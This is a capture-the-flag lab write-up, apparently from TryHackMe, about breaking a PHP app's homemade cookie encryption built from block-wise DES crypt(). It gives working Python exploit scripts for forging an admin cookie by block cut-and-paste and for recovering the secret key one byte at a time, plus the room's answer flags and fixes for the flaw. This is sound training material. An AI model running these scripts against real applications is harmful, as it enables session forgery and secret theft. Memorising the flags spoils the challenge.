Q1 (web flag): THM{ok_you_f0und_w3b_fl4g_6cbe2bc}
Q2 (encryption key): THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}

A PHP app rolls its own "military-grade" cookie encryption: each 8-byte block of
user:User-Agent:ENC_SECRET_KEY is run through crypt() with a single 2-character salt, and the
results are concatenated. That is an ECB-style construction made of hashes, which gives us two
bugs:

  1. Cut-and-paste auth bypass — guest: and admin: are the same length, so only the first block differs and we can compute it locally.
  2. Byte-at-a-time key recovery — by changing the User-Agent length we can place each unknown key byte in a block where the other 7 bytes are known, then brute-force one character.

No SSH, no privesc — both answers come from port 80.

1. Recon

nmap -T4 --open -p- --min-rate=3000 10.113.155.191 nmap -sV -sC -p22,80 10.113.155.191 
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 80/tcp open http Apache httpd 2.4.59 ((Debian)) X-Powered-By: PHP/8.3.8 

On the first request the app sets two cookies and redirects to /:

curl -s -i http://10.113.155.191/ | head -20 
HTTP/1.1 302 Found X-Powered-By: PHP/8.3.8 Set-Cookie: secure_cookie=Fmzq4d4Emej8...; expires=...; Max-Age=3600; path=/ Set-Cookie: user=guest; expires=...; Max-Age=3600; path=/ Location: / 

Following the redirect with cookies stored gives the landing page:

curl -s -L -c jar.txt -b jar.txt http://10.113.155.191/ 
<p>You are logged in as guest:*********** <p>SSO cookie is protected with traditional military grade en<b>crypt</b>ion <!-- TODO remember to remove .bak files--> 

The comment is the hint: look for backup files. Fuzzing confirms one:

ffuf -u http://10.113.155.191/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -mc 200,301,302,403,401 -t 40 # index.php, .htaccess, .htpasswd, server-status ... plus the .bak we are about to fetch curl -s http://10.113.155.191/index.php.bak -o index.php.bak 

config.php exists but executes to an empty 200, and every config.php.bak-style variant is 404.
The .bak of index.php is the intended leak.

2. Reading the scheme

cat index.php.bak 

Relevant parts:

$string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY; function make_secure_cookie($text, $SALT) { $secure_cookie = ''; foreach (str_split($text, 8) as $el) { // 8-byte blocks $secure_cookie .= crypt($el, $SALT); // DES crypt -> 13 chars/block } return $secure_cookie; } function verify_cookie($ENC_SECRET_KEY) { $user = $_COOKIE['user']; $string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY; $salt = substr($_COOKIE['secure_cookie'], 0, 2); // salt = first 2 chars if (make_secure_cookie($string, $salt) === $_COOKIE['secure_cookie']) return true; ... } if (verify_cookie($ENC_SECRET_KEY)) { if ($user === "admin") echo "congrats: <flag>. Now I want the key."; } 

The important observations:

  • crypt() with a 2-character salt is traditional DES crypt: it returns 13 characters, the first two being the salt. So the cookie is a sequence of 13-char blocks.
  • The same salt is used for every block, and the salt is taken from the cookie we submit — we control it.
  • Each block is hashed independently → identical plaintext blocks produce identical ciphertext blocks, and we can compute the hash of any plaintext ourselves. The key is only needed for the trailing blocks that contain it.

Confirm the block structure with a known prefix (PHP and libcrypt agree):

python3 -c ' import ctypes l=ctypes.CDLL("libcrypt.so.1"); l.crypt.restype=ctypes.c_char_p l.crypt.argtypes=[ctypes.c_char_p,ctypes.c_char_p] print(l.crypt(b"guest:Mo", b"Ad")) # b"AdSleedEWCRK2" print(l.crypt(b"admin:Mo", b"Ad")) # b"AdBOdWNO.9Zps" ' 

3. Logging in as admin

The plaintext is guest:<UA>:<KEY> and the only block that differs for admin:<UA>:<KEY> is
block 0, because guest: and admin: are both exactly 6 bytes. Block 0 is just
admin: + the first two bytes of the User-Agent — no key material involved, so we can hash it
ourselves.

Method A — compute block 0 locally (works with any UA):

python3 - <<'EOF' import ctypes, urllib.parse, http.client lib = ctypes.CDLL("libcrypt.so.1") lib.crypt.restype = ctypes.c_char_p lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p] HOST = "10.113.155.191" UA = "Mozilla/5.0" # keep this exact UA on the replay request c = http.client.HTTPConnection(HOST, 80, timeout=10) c.request("GET", "/", headers={"User-Agent": UA}) r = c.getresponse(); r.read() setc = r.getheader("Set-Cookie") or "" raw = [p.split("secure_cookie=")[1].split(";")[0] for p in setc.split(",") if "secure_cookie=" in p][0] cookie = urllib.parse.unquote(raw) salt = cookie[:2] blocks = [cookie[i:i+13] for i in range(0, len(cookie), 13)] # block 0 of "admin:<UA>:<KEY>" = "admin:" + UA[:2] blocks[0] = lib.crypt(("admin:" + UA[:2]).encode(), salt.encode()).decode() forged = urllib.parse.quote("".join(blocks), safe="") print("user=admin; secure_cookie=" + forged) EOF 

Method B — pure cut-and-paste (no local hashing): pick User-Agent: adadmin:ad. Then the
oracle's block 1 is crypt("admin:ad", salt), which is exactly the block 0 needed for the admin
string, and the two block 1s also match. So the forged cookie is block1 + block1 + blocks[2:]:

python3 - <<'EOF' import urllib.parse, http.client HOST, UA = "10.113.155.191", "adadmin:ad" c = http.client.HTTPConnection(HOST, 80, timeout=10) c.request("GET", "/", headers={"User-Agent": UA}) r = c.getresponse(); r.read() raw = [p.split("secure_cookie=")[1].split(";")[0] for p in r.getheader("Set-Cookie").split(",") if "secure_cookie=" in p][0] ck = urllib.parse.unquote(raw) b = [ck[i:i+13] for i in range(0, len(ck), 13)] print("user=admin; secure_cookie=" + urllib.parse.quote(b[1] + b[1] + "".join(b[2:]), safe="")) EOF 

Replay the forged cookie with user=admin and the same User-Agent:

curl -s -A 'Mozilla/5.0' \ -H 'Cookie: user=admin; secure_cookie=<FORGED>' \ http://10.113.155.191/ 
congrats: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}. Now I want the key. 

4. Recovering the encryption key

The full plaintext is guest:<UA>:<KEY>. We control the length of <UA>, so we can slide the
unknown bytes across the 8-byte block boundaries. The trick is to choose the padding so that the
next unknown character is always the 8th byte of a block whose first 7 bytes are known. Then
we try all printable characters in that last position, hash prefix + candidate, and compare with
that block of a freshly issued cookie (the salt is read from the block itself, so a new random salt
per request is fine).

Padding formula (with the unknown character as the last byte of the block):

pad = (7 - len("guest:" + ":" + discovered)) % 8 ua = "A" * pad prefix = "guest:" + ua + ":" + discovered bidx = len(prefix) // 8 

Examples:

discovered UA padding block being brute-forced
`` (start) `` guest::T
T AAAAAAA AAAAA:TH
TH AAAAAA AAAA:TH?

Full script (/tmp/opencode/extract_key.py):

#!/usr/bin/env python3 import ctypes, http.client, urllib.parse, string, time # Python 3.13+ removed the stdlib crypt module; call libcrypt directly. lib = ctypes.CDLL("libcrypt.so.1") lib.crypt.restype = ctypes.c_char_p lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p] HOST = "10.113.155.191" CHARSET = string.printable USERNAME = "guest:" SEP = ":" def get_cookie(ua: str) -> str: c = http.client.HTTPConnection(HOST, 80, timeout=15) c.request("GET", "/", headers={"User-Agent": ua}) r = c.getresponse(); r.read() setc = r.getheader("Set-Cookie") or "" c.close() for part in setc.split(","): if "secure_cookie=" in part: return urllib.parse.unquote(part.split("secure_cookie=")[1].split(";")[0]) return "" discovered = "" while True: pad = (7 - len(USERNAME + SEP + discovered)) % 8 ua = "A" * pad prefix = USERNAME + ua + SEP + discovered bidx = len(prefix) // 8 block = get_cookie(ua)[bidx * 13:(bidx + 1) * 13] if len(block) < 13: # partial final block -> end of key  break salt = block[:2] for ch in CHARSET: candidate = (prefix + ch)[-8:] if lib.crypt(candidate.encode(), salt.encode()).decode() == block: discovered += ch print(ch, end="", flush=True) break else: break print(f"\n\nKEY({len(discovered)}) = {discovered}") 

Run it:

python3 extract_key.py 
THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9} 

That is Q2. Note the key is 154 characters — the loop only stops when the unknown position
falls in the final, partial block.

Validation

Re-hash the complete plaintext under the salt of a live cookie and compare byte-for-byte:

import ctypes, http.client, urllib.parse lib = ctypes.CDLL("libcrypt.so.1") lib.crypt.restype = ctypes.c_char_p lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p] key = open("key.txt").read() ua = "Verify-UA-123" c = http.client.HTTPConnection("10.113.155.191", 80, timeout=15) c.request("GET", "/", headers={"User-Agent": ua}) r = c.getresponse(); r.read() raw = [p.split("secure_cookie=")[1].split(";")[0] for p in r.getheader("Set-Cookie").split(",") if "secure_cookie=" in p][0] cookie = urllib.parse.unquote(raw) salt = cookie[:2] plain = "guest:" + ua + ":" + key calc = "".join(lib.crypt(plain[i:i+8].encode(), salt.encode()).decode() for i in range(0, len(plain), 8)) print("salt:", salt, "match:", calc == cookie) 
salt: ej match: True 

The reconstructed cookie matches the server's for a 174-byte plaintext (22 blocks), confirming the
key is exactly right.

Answers

Question Answer
Q1 — web flag THM{ok_you_f0und_w3b_fl4g_6cbe2bc}
Q2 — encryption key THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}

Why this is broken / how to fix it

  • ECB-style, per-block construction: blocks are independent, so rearrangeable. Use an authenticated encryption mode (AES-GCM, ChaCha20-Poly1305, libsodium secretbox) over the whole message, or an HMAC over user:UA.
  • Hashing is not encryption: crypt() is a one-way hash; using it as a cookie cipher means the server re-hashes on every request and the secret leaks through controlled block alignment.
  • Attacker-controlled block alignment: any user/User-Agent-derived scheme that hashes fixed-size chunks lets an attacker recover secrets one byte at a time whenever the unknown data can be slid into a block with known neighbours.
  • .bak in the webroot: remove source backups; they turn a crypto bug into a trivial one.
  • Weak salt handling: the salt is public and taken from attacker input; use a CSPRNG and a proper MAC instead.

Gotchas

  • GET / redirects to / forever until cookies are stored — use a cookie jar or a client that doesn't follow redirects (urllib without a jar raises "infinite loop").
  • The cookie is URL-encoded (%2F), so urllib.parse.unquote() before slicing 13-char blocks.
  • index.php.bak is the only useful backup; config.php is a live empty 200.
  • No privesc or SSH stage exists in this room — both questions are answered from the web app.
  • Python 3.13+ has no crypt module; ctypes.CDLL("libcrypt.so.1") matches PHP's DES crypt() exactly (crypt("guest:Mo","Ad") == "AdSleedEWCRK2").